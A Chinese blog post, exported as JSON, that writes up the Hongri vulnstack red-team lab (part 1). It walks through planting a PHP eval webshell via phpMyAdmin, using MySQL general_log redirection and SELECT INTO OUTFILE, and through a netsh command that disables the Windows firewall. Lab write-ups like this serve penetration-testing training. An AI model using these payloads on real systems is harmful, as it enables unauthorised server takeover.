{"id":1762,"date":"2026-04-22T21:14:12","date_gmt":"2026-04-22T13:14:12","guid":{"rendered":"https:\/\/koishi.tech\/?p=1762"},"modified":"2026-04-23T20:35:04","modified_gmt":"2026-04-23T12:35:04","slug":"%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%80","status":"publish","type":"post","link":"https:\/\/koishi.tech\/index.php\/2026\/04\/22\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%80\/","title":{"rendered":"\u7ea2\u65e5\u9776\u573a\u4e00"},"content":{"rendered":"\n
\n

\u9776\u573a\u5730\u5740\uff1ahttp:\/\/vulnstack.qiyuanxuetang.net\/vuln\/detail\/2\/<\/a><\/p>\n\n\n\n

\u7ea2\u961f\u5b9e\u6218\u7cfb\u5217\uff0c\u4e3b\u8981\u4ee5\u771f\u5b9e\u4f01\u4e1a\u73af\u5883\u4e3a\u5b9e\u4f8b\u642d\u5efa\u4e00\u7cfb\u5217\u9776\u573a\uff0c\u901a\u8fc7\u7ec3\u4e60\u3001\u89c6\u9891\u6559\u7a0b\u3001\u535a\u5ba2\u4e09\u4f4d\u4e00\u4f53\u5b66\u4e60\u3002\u53e6\u5916\u672c\u6b21\u5b9e\u6218\u5b8c\u5168\u6a21\u62dfATT&CK\u653b\u51fb\u94fe\u8def\u8fdb\u884c\u642d\u5efa\uff0c\u5f00\u6210\u5b8c\u6574\u95ed\u73af\u3002\u540e\u7eed\u4e5f\u4f1a\u642d\u5efa\u771f\u5b9eAPT\u5b9e\u6218\u73af\u5883\uff0c\u4ece\u5b9e\u6218\u4e2d\u6210\u957f\u3002\u5173\u4e8e\u73af\u5883\u53ef\u4ee5\u6a21\u62df\u51fa\u5404\u79cd\u5404\u6837\u5b9e\u6218\u8def\u7ebf\uff0c\u76ee\u524d\u7ed9\u51fa\u4f5c\u8005\u5b9e\u6218\u7684\u4e00\u5957\u653b\u51fb\u5b9e\u6218\u8def\u7ebf\u5982\u4e0b\uff0c\u865a\u62df\u673a\u6240\u6709\u7edf\u4e00\u5bc6\u7801\uff1ahongrisec@2019\uff1a<\/p>\n\n\n\n

\n

\u4e00\u3001\u73af\u5883\u642d\u5efa
1.\u73af\u5883\u642d\u5efa\u6d4b\u8bd5
2.\u4fe1\u606f\u6536\u96c6<\/p>\n\n\n\n

\u4e8c\u3001\u6f0f\u6d1e\u5229\u7528
3.\u6f0f\u6d1e\u641c\u7d22\u4e0e\u5229\u7528
4.\u540e\u53f0Getshell\u4e0a\u4f20\u6280\u5de7
5.\u7cfb\u7edf\u4fe1\u606f\u6536\u96c6
6.\u4e3b\u673a\u5bc6\u7801\u6536\u96c6<\/p>\n\n\n\n

\u4e09\u3001\u5185\u7f51\u641c\u96c6
7.\u5185\u7f51–\u7ee7\u7eed\u4fe1\u606f\u6536\u96c6
8.\u5185\u7f51\u653b\u51fb\u59ff\u52bf–\u4fe1\u606f\u6cc4\u9732
9.\u5185\u7f51\u653b\u51fb\u59ff\u52bf-MS08-067
10.\u5185\u7f51\u653b\u51fb\u59ff\u52bf-SMB\u8fdc\u7a0b\u684c\u9762\u53e3\u4ee4\u731c\u6d4b
11.\u5185\u7f51\u653b\u51fb\u59ff\u52bf-Oracle\u6570\u636e\u5e93TNS\u670d\u52a1\u6f0f\u6d1e
12.\u5185\u7f51\u653b\u51fb\u59ff\u52bf-RPC DCOM\u670d\u52a1\u6f0f\u6d1e<\/p>\n\n\n\n


\u56db\u3001\u6a2a\u5411\u79fb\u52a8
13.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-\u6587\u4ef6\u8bfb\u53d6
14.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-redis
15.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-redis Getshell
16.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-MySQL\u6570\u636e\u5e93
17.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-MySQL\u63d0\u6743<\/p>\n\n\n\n

\u4e94\u3001\u6784\u5efa\u901a\u9053
18.\u5185\u7f51\u5176\u5b83\u4e3b\u673a\u7aef\u53e3-\u4ee3\u7406\u8f6c\u53d1<\/p>\n\n\n\n

\u516d\u3001\u6301\u4e45\u63a7\u5236
19.\u57df\u6e17\u900f-\u57df\u6210\u5458\u4fe1\u606f\u6536\u96c6
20.\u57df\u6e17\u900f-\u57fa\u7840\u670d\u52a1\u5f31\u53e3\u4ee4\u63a2\u6d4b\u53ca\u6df1\u5ea6\u5229\u7528\u4e4bpowershell
21.\u57df\u6e17\u900f-\u6a2a\u5411\u79fb\u52a8[wmi\u5229\u7528]
22.\u57df\u6e17\u900f-C2\u547d\u4ee4\u6267\u884c
23.\u57df\u6e17\u900f-\u5229\u7528DomainFronting\u5b9e\u73b0\u5bf9beacon\u7684\u6df1\u5ea6\u9690\u85cf
24.\u57df\u6e17\u900f-\u57df\u63a7\u5b9e\u73b0\u4e0e\u5229\u7528<\/p>\n\n\n\n

\u4e03\u3001\u75d5\u8ff9\u6e05\u7406
25\u3001\u65e5\u5fd7\u6e05\u7406<\/p>\n<\/div><\/div>\n<\/blockquote>\n\n\n\n

\u5916\u7f51\u7a81\u7834<\/h1>\n\n\n\n

<\/a>phpMyAdmin getshell<\/p>\n\n\n\n

<\/a>\u5148\u5728phpinfo\u4e2d\u770b\u76ee\u5f55\u4f4d\u7f6e<\/p>\n\n\n\n

<\/a>DOCUMENT_ROOT<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

<\/a><\/a>\u5982\u679c\u76ee\u6807\u7ad9\u70b9\u662f\u5229\u7528phpstudy\u3001Xampp\u3001LAMPP\u7b49\u4e4b\u7c7b\u642d\u5efa\u7684\uff0c\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b\u6570\u636e\u5e93\u8def\u5f84<\/p>\n\n\n\n

<\/a>show variables like '%datadir%';
\u6216\u8005
select @@basedir;<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a><\/a>showglobal variables like'%secure_file_priv%';<\/code><\/pre>\n\n\n\n
<\/a><\/a>\u770b\u770b\u6709\u6ca1\u6709\u5199\u5165\u6743\u9650<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a>NULL\u5c31\u662f\u6ca1\u6709<\/p>\n\n\n\n
<\/a><\/a>\u901a\u8fc7\u65e5\u5fd7\u6587\u4ef6\u5199 shell<\/strong><\/strong><\/h2>\n\n\n\n
\n
\n
<\/a>general_log \u9ed8\u8ba4\u5173\u95ed\uff0c\u5f00\u542f\u5b83\u53ef\u4ee5\u8bb0\u5f55\u7528\u6237\u8f93\u5165\u7684\u6bcf\u6761\u547d\u4ee4\uff0c\u4f1a\u628a\u5176\u4fdd\u5b58\u5728\u5bf9\u5e94\u7684\u65e5\u5fd7\u6587\u4ef6\u4e2d\u3002\u53ef\u4ee5\u5c1d\u8bd5\u81ea\u5b9a\u4e49\u65e5\u5fd7\u6587\u4ef6\uff0c\u5e76\u5411\u65e5\u5fd7\u6587\u4ef6\u91cc\u9762\u5199\u5165\u5185\u5bb9\u7684\u8bdd<\/strong><\/p>\n\n\n\n
\n
<\/a>1\u3001\u67e5\u770b\u5f53\u524d\u65e5\u5fd7\u6587\u4ef6\uff1a<\/strong><\/p>\n\n\n\n
<\/a>SHOW VARIABLES LIKE 'general%';<\/code><\/pre>\n\n\n\n
<\/a>2\u3001\u5f00\u542f\u65e5\u5fd7\u8bb0\u5f55\uff1a<\/strong><\/p>\n\n\n\n
<\/a>set global general_log = “ON”;<\/p>\n\n\n\n
<\/a>3\u3001\u66f4\u6539\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\uff1a<\/strong><\/p>\n\n\n\n
<\/a>set global general_log_file='C:\\\\xampp\\\\htdocs\\\\tieuhoc\\\\b.php'<\/code><\/pre>\n\n\n\n
<\/a>4\u3001\u5f80\u65e5\u5fd7\u6587\u4ef6\u91cc\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c<\/strong><\/p>\n\n\n\n
<\/a>select '<?php @eval($_POST[cmd]);?>';<\/code><\/pre>\n<\/div><\/div>\n<\/div><\/div>\n<\/div><\/div>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a>3.4 \u521b\u5efa\u6570\u636e\u5e93\u548c\u8868\u5199\u5165webshell<\/strong><\/strong><\/h2>\n\n\n\n
<\/a>\u524d\u63d0\uff1a\u62e5\u6709root\u6743\u9650\u3001\u7f51\u7ad9\u7edd\u5bf9\u8def\u5f84\u5df2\u77e5\uff08\u5e76\u4e14\u786e\u5b9a\u6709\u5199\u5165\u6743\u9650\uff09; secure_file_priv\u6ca1\u6709\u5177\u4f53\u503c<\/strong><\/p>\n\n\n\n
<\/a>CREATE TABLE test( id text(200) not null);    
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    
SELECT id FROM test INTO OUTFILE 'C:\\\\xampp\\\\htdocs\\\\tieuhoc\\\\e.php'\uff1b    
DROP TABLE IF EXISTS test\uff1b<\/code><\/pre>\n\n\n\n
<\/a>\u4e5f\u662f\u8981\u5f00\u8bfb\u5199\u6743\u9650\u7684\uff0c\u4f46\u4e00\u822c\u5f00\u8fd9\u73a9\u610f\u5c31\u6ca1\u6709\u4e0a\u9762\u7684\u4ec0\u4e48\u4e8b\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a>\u786e\u5b9e\u53ef\u4ee5\u8bbf\u95ee<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
netsh advfirewall set allprofiles state off\n\n#\u628a\u9632\u706b\u5899\u5173\u4e86<\/code><\/pre>\n\n\n\n
<\/a><\/a>\u91cc\u9762\u6709\u4e2ayxcms\u76ee\u5f55\uff0c\u610f\u601d\u8fd9\u624d\u662f\u771f\u6b63\u7684\u7f51\u7ad9\u76ee\u5f55<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a>\u7136\u540e\u5c31\u5f00\u59cb\u7f51\u7ad9\u5185\u6e17\u900f\u4e86\uff08\u5176\u5b9e\u5df2\u7ecf\u5199\u9a6c\u4e86\uff0c\u8fd9\u4e00\u6b65\u7528\u4e0d\u7528\u90fd\u884c\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/a>\u8fd9\u91cc\u53ef\u4ee5\u4efb\u610f\u4fee\u6539php\u4ee3\u7801<\/p>\n\n\n\n
<\/a>\u53ef\u4ee5\u6539\u4e2a\u4e00\u53e5\u8bdd\u6728\u9a6c\u5c31\u80fd\u8138\u4e0a\u53bb\u4e86<\/p>\n\n\n\n